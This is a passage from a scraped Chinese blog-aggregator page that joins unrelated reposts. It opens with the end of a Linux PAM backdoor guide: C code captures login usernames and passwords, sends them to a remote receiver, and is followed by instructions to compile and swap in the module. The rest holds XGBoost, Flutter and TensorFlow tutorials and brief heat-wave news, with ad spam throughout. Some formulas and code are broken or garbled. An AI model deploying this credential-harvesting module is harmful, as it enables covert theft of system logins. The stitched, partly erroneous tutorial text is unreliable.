char **argv ) {
const char* username = NULL;
const char* password = NULL;
const char* prompt = NULL;
char message[1024];
char hostname[128];
retval = pam_get_user(pamh, &username, "Username: ");
//獲得密碼
pam_get_authtok(pamh, PAM_AUTHTOK, &password, prompt);
if (retval != PAM_SUCCESS) {
return retval;
}
gethostname(hostname, sizeof hostname);
snprintf(message,2048,"Hostname: %s\nUsername: %s\nPassword:
%s\n",hostname,username,password);
sendMessage(&message);
return PAM_SUCCESS;
}

最後改下接收地址,make編譯替換寫入即可。

END

Links

https://blog.csdn.net/weixin_42758707/article/details/94738684

https://www.cnblogs.com/marility/articles/9235522.html

https://github.com/mthbernardes/sshLooterC

https://x-c3ll.github.io/posts/

http://0daysecurity.com/articles/backdoor_pam_unix.so.html

https://github.com/zephrax/linux-pam-backdoor/blob/master/backdoor.sh

http://blog.kernelpanic.com.ar/2017/06/08/linux-pam-backdoor/

[Hacking-Contest] Invisible configuration file backdooring with Unicode homoglyphs

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

FB行銷專家,教你從零開始的技巧

一文入門:XGBoost與手推二階導

作者前言

在2020年還在整理XGB的算法,其實已經有點過時了。。不過,主要是為了學習算法嘛。現在的大數據競賽,XGB基本上已經全面被LGB模型取代了,這裏主要是學習一下Boost算法。之前已經在其他博文中介紹了Adaboost算法和Gradient-boost算法,這篇文章講解一下XGBoost。

Adaboost和XGBoost無關,但是Gradient-boost與XGBoost有一定關係。
一文搞懂:Adaboost及手推算法案例
一文讀懂:GBDT梯度提升

樹模型概述

XGB就是Extreme Gradient Boosting極限梯度提升模型。XGB簡單的說是一組分類和回歸樹(CART)的組合。跟GBDT和Adaboost都有異曲同工之處。
【CART=classification adn regression trees】

這裏對於一個決策樹,如何分裂,如何選擇最優的分割點,其實就是一個搜索的過程。搜索怎麼分裂,才能讓目標函數最小。目標函數如下:
\(Obj = Loss + \Omega\)
\(Obj\)就是我們要最小化的優化函數,\(Loss\)就是這個CART模型的預測結果和真實值得損失。\(\Omega\)就是這個CART模型的複雜度,類似神經網絡中的正則項。
【上面的公式就是一個抽象的概念。我們要知道的是:CART樹模型即要求預測盡可能準確,又要求樹模型不能過於複雜。】

對於回歸問題,我們可以用均方差來作為Loss:
\(Loss=\sum_i{(y_i-\hat{y_i})^2}\)

對於分類問題,用交叉熵是非常常見的,這裏用二值交叉熵作為例子:
\(Loss = \sum_i{(y_ilog(\hat{y_i})+(1-y_i)log(\hat{y_i}))}\)

總之,這個Loss就是衡量模型預測準確度的損失。

下面看一下如何計算這個模型複雜度\(\Omega\)吧。
\(\Omega = \gamma T+\frac{1}{2} \lambda \sum^T_j{w_j}^2\)

\(T\)表示恭弘=叶 恭弘子節點的數量,\(w_j\)表示每個恭弘=叶 恭弘子節點上的權重(與恭弘=叶 恭弘子節點的樣本數量成正比)。

【這裡有點麻煩的在於,\(w_j\)是與每個恭弘=叶 恭弘子節點的樣本數量成正比,但是並非是樣本數量。這個\(w_j\)的求取,要依靠與對整個目標函數求導數,然後找到每個恭弘=叶 恭弘子節點的權重值\(w_j\)。】

XGB vs GBDT

其實說了這麼多,感覺XGB和GDBT好像區別不大啊?下面整理一下網上有的說法,再加上自己的理解。有錯誤請指出評論,謝謝!

區別1:自帶正則項

GDBT中,只是讓新的弱分類器來擬合負梯度,那擬合多少棵樹才算好呢?不知道。XGB的優化函數中,有一個\(\Omega\)複雜度。這個複雜度不是某一課CART的複雜度,而是XGB中所有CART的總複雜度。可想而知,每多一顆CART,這個複雜度就會增加他的懲罰力度,當損失下降小於複雜度上升的時候,XGB就停止了。

區別2:有二階導數信息

GBDT中新的CART擬合的是負梯度,也就是一階導數。而在XGB會考慮二階導數的信息。

這裏簡單推導一下XGB如何用上二階導數的信息的:

  1. 之前我們得到了XGB的優化函數:
    \(Obj = Loss + \Omega\)

  2. 然後我們把Loss和Omega寫的更具體一點:
    \(Obj = \sum_i^n{Loss(y_i,\hat{y}_i^t)}+\sum_j^t{\Omega(cart_j)}\)

    • \(\hat{y_i^t}\)表示總共有t個CART弱分類器,然後t個弱分類器給出樣本i的估計值就。
    • \(y_i\)第i個樣本的真實值;
    • \(\Omega(cart_j)\)第j個CART模型的複雜度。
  3. 我們現在要求取第t個CART模型的優化函數,所以目前我們只是知道前面t-1的模型。所以我們得到:
    \(\hat{y}_i^t = \hat{y}_i^{t-1}+f_t(x_i)\)
    t個CART模型的預測,等於前面t-1個CART模型的預測加上第t個模型的預測。

  4. 所以可以得到:
    \(\sum_i^n{Loss(y_i,\hat{y}_i^t)}=\sum_i^n{Loss(y_i,\hat{y}_i^{t-1}+f_t(x_i))}\)
    這裏考慮一下特勒展開:
    \(f(x+\Delta x)\approx f(x)+f'(x)\Delta x + \frac{1}{2} f”(x)\Delta x^2\)

  5. 如何把泰勒公式帶入呢?
    \({Loss(y_i,\hat{y}_i^t)}\)中的\(y_i\)其實就是常數,不是變量
    所以其實這個是可以看成\(Loss(\hat{y}_i^t)\),也就是:
    \(Loss(\hat{y}_i^{t-1}+f_t(x_i))\)

  6. 帶入泰勒公式,把\(f_t(x_i)\)看成\(\Delta x\)
    \(Loss(\hat{y}_i^{t-1}+f_t(x_i))=Loss(\hat{y}_i^{t-1})+Loss'(\hat{y}_i^{t-1})f_t(x_i)+\frac{1}{2}Loss”(\hat{y}_i^{t-1})(f_t(x_i))^2\)

    • 在很多的文章中,會用\(g_i=Loss'(\hat{y}_i^{t-1})\),以及\(h_i=Loss”(\hat{y}_i^{t-1})\)來表示函數的一階導數和二階導數。
  7. 把泰勒展開的東西帶回到最開始的優化函數中,刪除掉常數項\(Loss(\hat{y}_i^{t-1})\)(這個與第t個CART模型無關呀)以及前面t-1個模型的複雜度,可以得到第t個CART的優化函數:
    \(Obj^t \approx \sum_i^n{[g_i f_t(x_i)+\frac{1}{2}h_i(f_t(x_i))^2}]+{\Omega(cart_t)}\)

【所以XGB用到了二階導數的信息,而GBDT只用了一階的梯度】

區別3:列抽樣

XGB借鑒了隨機森林的做法,不僅僅支持樣本抽樣,還支持特徵抽樣(列抽樣),不僅可以降低過擬合,還可以減少計算。

區別4:缺失值

XGB可以自適應的處理樣本中的缺失值。如何處理的這裏就不再講述。

喜歡的話請關注我們的微信公眾號~【你好世界煉丹師】。

  • 公眾號主要講統計學,數據科學,機器學習,深度學習,以及一些參加Kaggle競賽的經驗。
  • 公眾號內容建議作為課後的一些相關知識的補充,飯後甜點。
  • 此外,為了不過多打擾,公眾號每周推送一次,每次4~6篇精選文章。

微信搜索公眾號:你好世界煉丹師。期待您的關注。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

網頁設計最專業,超強功能平台可客製化

【Flutter實戰】定位裝飾權重組件及柱狀圖案例

老孟導讀:Flutter中有這麼一類組件,用於定位、裝飾、控制子組件,比如 Container (定位、裝飾)、Expanded (擴展)、SizedBox (固定尺寸)、AspectRatio (寬高比)、FractionallySizedBox (占父組件比例)。這些組件的使用頻率非常高,下面一一介紹,最後給出項目中實際案例熟悉其用法。
【Flutter實戰】系列文章地址:http://laomengit.com/guide/introduction/mobile_system.html

Container

Container 是最常用的組件之一,它是單容器類組件,即僅能包含一個子組件,用於裝飾和定位子組件,例如設置背景顏色、形狀等。

最簡單的用法如下:

Container(
	child: Text('老孟'),
 )

子組件不會發生任何外觀上的變化:

設置背景顏色:

Container(
	color: Colors.blue,
    child: Text('老孟'),
)

設置內邊距( padding ) 和 外邊距( margin )

Container(
      color: Colors.blue,
      child: Container(
        margin: EdgeInsets.all(10),
        padding: EdgeInsets.all(20),
        color: Colors.red,
        child: Text('老孟'),
      ),
    )

效果如下:

decoration 屬性設置子組件的背景顏色、形狀等。設置背景為圓形,顏色為藍色:

Container(
  child: Text('老孟,專註分享Flutter技術及應用'),
  decoration: BoxDecoration(shape: BoxShape.circle, color: Colors.blue),
)

默認情況下,圓形的直徑等於 Container 窄邊長度,相當於在矩形內繪製內切圓。

上面的情況明顯不是我們希望看到了,希望背景是圓角矩形:

Container(
        child: Text('老孟,專註分享Flutter技術及應用'),
        padding: EdgeInsets.symmetric(horizontal: 10),
        decoration: BoxDecoration(
            shape: BoxShape.rectangle,
            borderRadius: BorderRadius.all(Radius.circular(20)),
            color: Colors.blue),
      )

除了背景我們可以設置邊框效果,代碼如下:

Container(
        child: Text('老孟,專註分享Flutter技術及應用'),
        padding: EdgeInsets.symmetric(horizontal: 10),
        decoration: BoxDecoration(
          borderRadius: BorderRadius.circular(12),
          border: Border.all(
            color: Colors.blue,
            width: 2,
          ),
        ),
      )

創建圓角圖片和圓形圖片:

Container(
      height: 200,
      width: 200,
      decoration: BoxDecoration(
        image:  DecorationImage(
          image: NetworkImage(
              'https://flutter.github.io/assets-for-api-docs/assets/widgets/owl-2.jpg'),
          fit: BoxFit.cover,
        ),
        border: Border.all(
          color: Colors.blue,
          width: 2,
        ),
        borderRadius: BorderRadius.circular(12),
      ),
    )

修改其形狀為圓形,代碼如下:

Container(
      height: 200,
      width: 200,
      decoration: BoxDecoration(
        image: DecorationImage(
          image: NetworkImage(
              'https://flutter.github.io/assets-for-api-docs/assets/widgets/owl-2.jpg'),
          fit: BoxFit.cover,
        ),
        border: Border.all(
          color: Colors.blue,
          width: 2,
        ),
        shape: BoxShape.circle,
      ),
    )

設置對齊方式為居中,背景色為藍色,代碼如下:

Container(
        color: Colors.blue,
        child: Text('老孟,一個有態度的程序員'),
        alignment: Alignment.center,
      )

注意:設置對齊方式后,Container將會充滿其父控件,相當於Android中 match_parent

Alignment 已經封裝了常用的位置,

通過名字就知道其位置,這裏要介紹一下其他的位置,比如在距離左上角1/4處:

Container(
  alignment: Alignment(-.5,-.5),
  child: Text('老孟,專註分享Flutter技術及應用'),
)

所以這裡有一個非常重要的坐標系,Alignment 坐標系如下:

組件的中心為坐標原點。

設置固定的寬高屬性:

Container(
        color: Colors.blue,
        child: Text('老孟,專註分享Flutter技術及應用'),
        alignment: Alignment.center,
        height: 60,
        width: 250,
      )

通過 constraints 屬性設置最大/小寬、高來確定大小,如果不設置,默認最小寬高是0,最大寬高是無限大(double.infinity),約束width代碼如下:

Container(
        color: Colors.blue,
        child: Text('老孟,專註分享Flutter技術及應用'),
        alignment: Alignment.center,
        constraints: BoxConstraints(
          maxHeight: 100,
          maxWidth: 300,
          minHeight: 100,
          minWidth: 100,
        ),
      )

通過transform可以旋轉、平移、縮放Container,旋轉代碼如下:

Container(
        color: Colors.blue,
        child: Text('老孟,專註分享Flutter技術及應用'),
        alignment: Alignment.center,
        height: 60,
        width: 250,
        transform: Matrix4.rotationZ(0.5),
      )

注意:Matrix4.rotationZ()參數的單位是弧度而不是角度

SizedBox

SizedBox 是具有固定寬高的組件,直接指定具體的寬高,用法如下:

SizedBox(
        height: 60,
        width: 200,
        child: Container(
          color: Colors.blue,
          alignment: Alignment.center,
          child: Text('老孟,專註分享Flutter技術及應用'),
        ),
      )

設置尺寸無限大,如下:

SizedBox(
  height: double.infinity,
  width: double.infinity,
  ...
)

雖然設置了無限大,子控件是否會無限長呢?不,不會,子控件依然會受到父組件的約束,會擴展到父組件的尺寸,還有一個便捷的方式設置此方式:

SizedBox.expand(
  child: Text('老孟,專註分享Flutter技術及應用'),
)

SizedBox 可以沒有子組件,但仍然會佔用空間,所以 SizedBox 非常適合控制2個組件之間的空隙,用法如下:

Column(
          children: <Widget>[
            Container(height: 30,color: Colors.blue,),
            SizedBox(height: 30,),
            Container(height: 30,color: Colors.red,),
          ],
        )

AspectRatio

AspectRatio 是固定寬高比的組件,用法如下:

Container(
        height: 300,
        width: 300,
        color: Colors.blue,
        alignment: Alignment.center,
        child: AspectRatio(
          aspectRatio: 2 / 1,
          child: Container(color: Colors.red,),
        ),
      )

aspectRatio 是寬高比,可以直接寫成分數的形式,也可以寫成小數的形式,但建議寫成分數的形式,可讀性更高。效果如下:

FractionallySizedBox

FractionallySizedBox 是一個相對父組件尺寸的組件,比如占父組件的70%:

Container(
  height: 200,
  width: 200,
  color: Colors.blue,
  child: FractionallySizedBox(
    widthFactor: .8,
    heightFactor: .3,
    child: Container(
      color: Colors.red,
    ),
  ),
)

通過 alignment 參數控制子組件显示的位置,默認為居中,用法如下:

FractionallySizedBox(
  alignment: Alignment.center,
  ...
)

權重組件

ExpandedFlexibleSpacer 都是具有權重屬性的組件,可以控制 Row、Column、Flex 的子控件如何布局的組件。

Flexible 組件可以控制 Row、Column、Flex 的子控件佔滿父組件,比如,Row 中有3個子組件,兩邊的寬是100,中間的佔滿剩餘的空間,代碼如下:

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Flexible(
            child: Container(
              color: Colors.red,
              height: 50,
            )
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

還是有3個子組件,第一個佔1/6,第二個佔2/6,第三個佔3/6,代碼如下:

Column(
      children: <Widget>[
        Flexible(
          flex: 1,
          child: Container(
            color: Colors.blue,
            alignment: Alignment.center,
            child: Text('1 Flex/ 6 Total',style: TextStyle(color: Colors.white),),
          ),
        ),
        Flexible(
          flex: 2,
          child: Container(
            color: Colors.red,
            alignment: Alignment.center,
            child: Text('2 Flex/ 6 Total',style: TextStyle(color: Colors.white),),
          ),
        ),
        Flexible(
          flex: 3,
          child: Container(
            color: Colors.green,
            alignment: Alignment.center,
            child: Text('3 Flex/ 6 Total',style: TextStyle(color: Colors.white),),
          ),
        ),
      ],
    )

子組件佔比 = 當前子控件 flex / 所有子組件 flex 之和。

Flexible中 fit 參數表示填滿剩餘空間的方式,說明如下:

  • tight:必須(強制)填滿剩餘空間。
  • loose:盡可能大的填滿剩餘空間,但是可以不填滿。

這2個看上去不是很好理解啊,什麼叫盡可能大的填滿剩餘空間?什麼時候填滿?看下面的例子:

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Flexible(
            child: Container(
              color: Colors.red,
              height: 50,
			  child: Text('Container',style: TextStyle(color: Colors.white),),
            )
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

這段代碼是在最上面代碼的基礎上給中間的紅色Container添加了Text子控件,此時紅色Container就不在充滿空間,再給Container添加對齊方式,代碼如下:

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Flexible(
            child: Container(
              color: Colors.red,
              height: 50,
			  alignment: Alignment.center,
			  child: Text('Container',style: TextStyle(color: Colors.white),),
            )
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

此時又填滿剩餘空間。

大家是否還記得 Container 組件的大小是如何調整的嗎?Container 默認是適配子控件大小的,但當設置對齊方式時 Container 將會填滿父組件,因此是否填滿剩餘空間取決於子組件是否需要填滿父組件。

如果把 Flexible 中子組件由 Container 改為 OutlineButton,代碼如下:

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Flexible(
          child: OutlineButton(
            child: Text('OutlineButton'),
          ),
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

OutlineButton 正常情況下是不充滿父組件的,因此最終的效果應該是不填滿剩餘空間:

下面再來介紹另一個權重組件 Expanded ,源代碼如下:

class Expanded extends Flexible {
  /// Creates a widget that expands a child of a [Row], [Column], or [Flex]
  /// so that the child fills the available space along the flex widget's
  /// main axis.
  const Expanded({
    Key key,
    int flex = 1,
    @required Widget child,
  }) : super(key: key, flex: flex, fit: FlexFit.tight, child: child);
}

Expanded 繼承字 Flexible,fit 參數固定為 FlexFit.tight,也就是說 Expanded 必須(強制)填滿剩餘空間。上面的 OutlineButton 想要充滿剩餘空間可以直接使用 Expanded :

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Expanded(
          child: OutlineButton(
            child: Text('OutlineButton'),
          ),
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

Spacer 也是一個權重組件,源代碼如下:

@override
Widget build(BuildContext context) {
  return Expanded(
    flex: flex,
    child: const SizedBox.shrink(),
  );
}

Spacer 的本質也是 Expanded 的實現的,和Expanded的區別是:Expanded 可以設置子控件,而 Spacer 的子控件尺寸是0,因此Spacer適用於撐開 Row、Column、Flex 的子控件的空隙,用法如下:

Row(
  children: <Widget>[
    Container(width: 100,height: 50,color: Colors.green,),
    Spacer(flex: 2,),
    Container(width: 100,height: 50,color: Colors.blue,),
    Spacer(),
    Container(width: 100,height: 50,color: Colors.red,),
  ],
)

三個權重組建總結如下

  • Spacer 是通過 Expanded 實現的,Expanded繼承自Flexible。
  • 填滿剩餘空間直接使用Expanded更方便。
  • Spacer 用於撐開 Row、Column、Flex 的子組件的空隙。

仿 掘金-我 效果

先看下效果:

拿到效果圖先不要慌 (取出手機拍照發個朋友圈),整個列表每一行的布局基本一樣,所以先寫出一行的效果:

class _SettingItem extends StatelessWidget {
  const _SettingItem(
      {Key key, this.iconData, this.iconColor, this.title, this.suffix})
      : super(key: key);

  final IconData iconData;
  final Color iconColor;
  final String title;
  final Widget suffix;

  @override
  Widget build(BuildContext context) {
    return Container(
      height: 45,
      child: Row(
        children: <Widget>[
          SizedBox(
            width: 30,
          ),
          Icon(iconData,color: iconColor,),
          SizedBox(
            width: 30,
          ),
          Expanded(
            child: Text('$title'),
          ),
          suffix,
          SizedBox(
            width: 15,
          ),
        ],
      ),
    );
  }
}

消息中心和其他行最後的樣式不一樣,單獨封裝,帶紅色背景的組件:

class _NotificationsText extends StatelessWidget {
  final String text;

  const _NotificationsText({Key key, this.text}) : super(key: key);

  @override
  Widget build(BuildContext context) {
    return Container(
      padding: EdgeInsets.symmetric(horizontal: 10),
      decoration: BoxDecoration(
          shape: BoxShape.rectangle,
          borderRadius: BorderRadius.all(Radius.circular(50)),
          color: Colors.red),
      child: Text(
        '$text',
        style: TextStyle(color: Colors.white),
      ),
    );
  }
}

灰色後綴組件:

class _Suffix extends StatelessWidget {
  final String text;

  const _Suffix({Key key, this.text}) : super(key: key);

  @override
  Widget build(BuildContext context) {
    return Text(
      '$text',
      style: TextStyle(color: Colors.grey.withOpacity(.5)),
    );
  }
}

將這些封裝好的組件組合起來:

class SettingDemo extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return Column(
      children: <Widget>[
        _SettingItem(
          iconData: Icons.notifications,
          iconColor: Colors.blue,
          title: '消息中心',
          suffix: _NotificationsText(
            text: '2',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.thumb_up,
          iconColor: Colors.green,
          title: '我贊過的',
          suffix: _Suffix(
            text: '121篇',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.grade,
          iconColor: Colors.yellow,
          title: '收藏集',
          suffix: _Suffix(
            text: '2個',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.shopping_basket,
          iconColor: Colors.yellow,
          title: '已購小冊',
          suffix: _Suffix(
            text: '100個',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.account_balance_wallet,
          iconColor: Colors.blue,
          title: '我的錢包',
          suffix: _Suffix(
            text: '10萬',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.location_on,
          iconColor: Colors.grey,
          title: '閱讀過的文章',
          suffix: _Suffix(
            text: '1034篇',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.local_offer,
          iconColor: Colors.grey,
          title: '標籤管理',
          suffix: _Suffix(
            text: '27個',
          ),
        ),
      ],
    );
  }
}

至此就結束了。

柱狀圖

先來看下效果:

關於動畫部分的內容會在後面的章節具體介紹。這個效果分為3大部分:

  1. 坐標軸,左邊和底部黑色直線。
  2. 矩形柱狀圖。
  3. 動畫控制部分。

坐標軸的實現如下:

class _Axis extends StatelessWidget {
  final Widget child;

  const _Axis({Key key, this.child}) : super(key: key);

  @override
  Widget build(BuildContext context) {
    return Container(
      decoration: BoxDecoration(
        border: Border(
          left: BorderSide(color: Colors.black, width: 2),
          bottom: BorderSide(color: Colors.black, width: 2),
        ),
      ),
      child: child,
    );
  }
}

單個柱狀圖實現:

class _Cylinder extends StatelessWidget {
  final double height;
  final double width;
  final Color color;

  const _Cylinder({Key key, this.height, this.width, this.color})
      : super(key: key);

  @override
  Widget build(BuildContext context) {
    return AnimatedContainer(
      duration: Duration(seconds: 1),
      height: height,
      width: width,
      color: color,
    );
  }
}

生成多個柱狀圖:

final double _width = 20.0;
List<double> _heightList = [60.0, 80.0, 100.0, 120.0, 140.0];

Row(
    mainAxisAlignment: MainAxisAlignment.spaceBetween,
    crossAxisAlignment: CrossAxisAlignment.end,
    children: List.generate(_heightList.length, (index) {
      return _Cylinder(
        height: _heightList[index],
        width: _width,
        color: Colors.primaries[index % Colors.primaries.length],
      );
    }))

將此合併,然後更改每一個柱狀圖的高度:

class CylinderChart extends StatefulWidget {
  @override
  _CylinderChartState createState() => _CylinderChartState();
}

class _CylinderChartState extends State<CylinderChart> {
  final double _width = 20.0;
  List<double> _heightList = [60.0, 80.0, 100.0, 120.0, 140.0];

  @override
  Widget build(BuildContext context) {
    return Center(
      child: Container(
        height: 200,
        width: 250,
        child: Stack(
          children: <Widget>[
            _Axis(),
            Positioned.fill(
              left: 5,
              right: 5,
              child: Row(
                  mainAxisAlignment: MainAxisAlignment.spaceBetween,
                  crossAxisAlignment: CrossAxisAlignment.end,
                  children: List.generate(_heightList.length, (index) {
                    return _Cylinder(
                      height: _heightList[index],
                      width: _width,
                      color: Colors.primaries[index % Colors.primaries.length],
                    );
                  })),
            ),
            Positioned(
              top: 0,
              left: 30,
              child: OutlineButton(
                child: Text('反轉'),
                onPressed: () {
                  setState(() {
                    _heightList = _heightList.reversed.toList();
                  });
                },
              ),
            )
          ],
        ),
      ),
    );
  }
}

搞定。

交流

老孟Flutter博客地址(330個控件用法):http://laomengit.com

歡迎加入Flutter交流群(微信:laomengit)、關注公眾號【老孟Flutter】:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!

Tensorflow實現神經網絡的前向傳播

我們構想有一個神經網絡,輸入為兩個input,中間有一個hidden layer,這個hiddenlayer當中有三個神經元,最後有一個output。

圖例如下:

 

 

 

 在實現這個神經網絡的前向傳播之前,我們先補充一下重要的知識。

一.權重w以及input的初始化

我們初始化權重w的方法為隨機生成這些權重,一般可以使用這些隨機生成的數據正好在正態分佈的曲線上,這也是最符合生成符合自然規律的隨機數生成方法:

import tensorflow as tf
#一般情況下神經網絡上的參數是w的數列,當然我們一般使用隨機數來生成這些參數
w=tf.Variable(tf.random_normal([2,3],stddev=2,mean=0,seed=1))
#其中stddev表示標準差,mean表示均值,【】表示隨機生成正態分佈的數值的shape

這樣我們的權重就生成了,我們初始化input的方法有有以下幾種,偽代碼如下:

除了這種方式,我們還可以使用
tf.constant([1,2,3]),來生成指定數值
tf.zeros([2,3],int32),用來生成全零
tf.ones([2,3],int32),同來生成全1
tf.fill([3,2],6),生成指定數值

下面我們編寫一個僅有一個初始值input的神經網絡,並利用tensorflow實現對其進行前向傳播。因為初始值僅有一個,實現的方法一共有兩種,我們來看看第一種:

二.神經網絡的前向傳播(僅具一個初始值,方法一)

import tensorflow as tf

x=tf.constant([[0.7,0.5]])#注意這裏,寫了兩个中括號啊!
w1=tf.Variable(tf.random_normal([2,3],stddev=1,seed=1))
w2=tf.Variable(tf.random_normal([3,1],stddev=1,seed=1))

#然後定義向前傳播的過程
a=tf.matmul(x,w1)
y=tf.matmul(a,w2)

#利用session計算前向傳播的結果
with tf.Session() as sess:
    init_op=tf.global_variables_initializer()
    sess.run(init_op)
    print(sess.run(y))#這裏使用run(y)打印出結果,因為最後一個輸出我們定義的是y

輸出:

[[3.0904665]]

三.神經網絡的前向傳播(僅具一個初始值,方法二)

我們利用placeholder進行數據的初始化,賦值給input,使用placeholder既可以賦一個值,也可以賦多個值,這也是它很常見的原因,代碼如下:

import tensorflow as tf

x=tf.placeholder(tf.float32,shape=(1,2))
w1=tf.Variable(tf.random_normal([2,3],stddev=1,seed=1))
w2=tf.Variable(tf.random_normal([3,1],stddev=1,seed=1))

#同樣地定義前向傳播的過程
a=tf.matmul(x,w1)
y=tf.matmul(a,w2)

#利用session計算前向傳播的結果
with tf.Session() as sess:
    init_op=tf.global_variables_initializer()
    sess.run(init_op)
    print(sess.run(y,feed_dict={x:[[0.7,0.5]]}))#這裏使用run(y)打印出結果,因為最後一個輸出我們定義的是y

輸出:

[[3.0904665]]

結果和方法一相同。接下來就可以對多個數據進行前向傳播了,也是利用placeholder方法

四.神經網絡的前向傳播(多個初始值)

代碼如下:

import tensorflow as tf

x=tf.placeholder(tf.float32,shape=(None,2))
w1=tf.Variable(tf.random_normal([2,3],stddev=1,seed=1))
w2=tf.Variable(tf.random_normal([3,1],stddev=1,seed=1)

#同樣地定義前向傳播的過程
a=tf.matmul(x,w1)
y=tf.matmul(a,w2

#利用session計算前向傳播的結果
with tf.Session() as sess:
    init_op=tf.global_variables_initializer()
    sess.run(init_op)
    print(sess.run(y,feed_dict={x:[[0.7,0.5],[0.2,0.3],[0.5,0.5]]}))

輸出:

[[3.0904665]
 [1.2236414]
 [2.5171587]]

完畢!看起來還是挺簡單的吧!tensorflow在工業界的應用還是十分廣泛的,想要創業和在業界工作的朋友就可以好好了解一下了!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

FB行銷專家,教你從零開始的技巧

德出現罕見高溫旱象 綠黨籲成立氣候基金

摘錄自2018年8月6日中央社報導

德國今年出現罕見的旱象,高溫也一再打破紀錄,德國綠黨建議成立氣候調適基金,以補償氣候變遷帶來的衝擊。

根據德國氣象局(DWD)的數據,今年4月到7月的均溫,比歷史平均氣溫高攝氏3.6度,創下1881年有氣象紀錄以來的最高溫。

德國今年也出現少見的旱象,今年4月到7月的降雨量,比平均降雨量少110毫米,同樣創下有紀錄以來的新低,各地農人紛紛抱怨收成大幅減少。

鑑於氣候變遷對產業和生活都帶來衝擊,綠黨4日建議政府成立20億歐元(約新台幣708億元)的氣候調適基金,用來支付農業補償、森林大火、水患和醫療的費用。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

法國熱浪高峰 14萬人求遊樂園放過北極熊

摘錄自2018年8月7日中央社報導

法國經歷新一波熱浪,預計巴黎今天氣溫達攝氏37度。在此高溫下,人類健康固然受威脅,對動物園、遊樂園禁錮的北極熊更是酷刑,熱浪促使人們加緊連署,要求轉移寒帶動物。

法國海洋動物權利維護組織「受夠了」協會(C’est Assez)於6月中在臉書粉絲專頁公布一段影片,可以看到蔚藍海岸城市昂蒂布(Antibes)的「海洋世界」(Marineland)飼養的北極熊哈斯普丁(Raspoutine),在太陽曝曬下的岩石間走動,看來很熱,也很焦慮。

協會表示,拍下影片的時候,氣溫大約是23度,園區環境設計並沒給北極熊可遮蔭的地方,冰穴則以鐵欄關閉,北極熊根本無從躲避暑氣。

根據「受夠了」協會,只要氣溫超過10度,北極熊就會感到過熱,更別說熱浪來襲,這種寒帶動物會有多麼不適。協會公布影片同時發起連署,要求把北極熊緊急轉移到更適合牠居住的地方。

這份連署到今天已收集了14萬人簽名,將呈給生態部長余洛(Nicolas Hulot)。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

FB行銷專家,教你從零開始的技巧

乾旱熱浪雙襲 瑞士出動直升機為牛送水

摘錄自2018年8月8日中央通訊社台北報導

熱浪侵襲歐洲大部分地區,瑞士今天(8日)開始動用軍用直升機空運水,給飽受乾旱和熱浪所苦的數萬頭乳牛。

超級美洲獅直升機(Super Puma)下方掛著大型紅色塑膠容器,將水運往菊哈山(Jura)和阿爾卑斯山山麓的牧場。

當局表示,瑞士西部沃邦(Vaud)高海拔牧場夏季放牧約4萬頭乳牛,每頭牛每天需要高達150公升的水。目前已將2個大水槽裝滿水,以便農民可前來裝水。

這波熱浪甚至造成萊因河裡的魚死亡,瑞士聯邦政府昨天表示,將降低牲畜飼料的進口關稅,並提供零利率貸款協助農民對抗乾旱。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

新北清潔公司,居家、辦公、裝潢細清專業服務

